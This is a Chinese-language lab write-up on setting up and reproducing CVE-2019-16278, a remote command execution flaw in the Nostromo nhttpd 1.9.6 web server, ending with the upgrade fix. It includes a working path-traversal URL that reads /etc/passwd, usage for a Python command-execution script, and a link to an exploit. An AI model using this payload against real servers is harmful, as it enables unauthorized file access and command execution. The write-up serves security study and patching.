(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

【CNVD编号】

CVE-2019-16278

【漏洞名称】

Nostromo Web服务器的远程命令执行

1【靶标分类】

web中间件漏洞

2【漏洞分类】

命令执行

 

3【漏洞等级】

4【漏洞简介】

Nostromo由于在验证URL安全性方面存在缺陷,导致目录穿越,任何人都可以遍历系统中任何文件。因此未经过身份验证的远程攻击者可以强制服务器指向/bin/sh这样的shell文件,借此执行任意命令。

0x01【靶标运行环境】

操作系统:Ubuntu1804(优麒麟)

中间件版本:nhttpd 1.9.6

工具:burpsuite

【靶标搭建过程】

1、首先下载Nostromo Web服务器1.9.6版本http://www.nazgul.ch/dev/

2、进入nostromo目录,

make

make install

进行环境编译

3、完成之后可进入/var/nostromo/conf目录中,原本只有mimes和nhttp.conf-dist两个文件。删除后缀'-dist'即可。

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

4、vim nhttpd.conf,更改servername和user(user不可为root)

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

5、修改logs目录权限为777

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

6、启动服务 nhttpd,也可以查看是否已在8080端口运行。

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

【靶场利用过程】

1、直接修改get请求即可

http://127.0.0.1:8080/..%0D/..%0D/..%0D/..%0D/..%0D/..%0D/etc/passwd 

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

2、也可用python文件执行 python host port cmd

(环境搭建+复现)CVE-2019-16278 Nostromo Web服务器的远程命令执行

【解决方案】

1、升级至最新版本1.9.7

http://www.nazgul.ch/dev/nostromo-1.9.7.tar.gz

Referer:

https://github.com/ianxtianxt/CVE-2019-16278/blob/master/cve-2019-16278.py

https://cloud.tencent.com/developer/article/1525951

https://curz0n.github.io/2019/10/22/cve-2019-16278/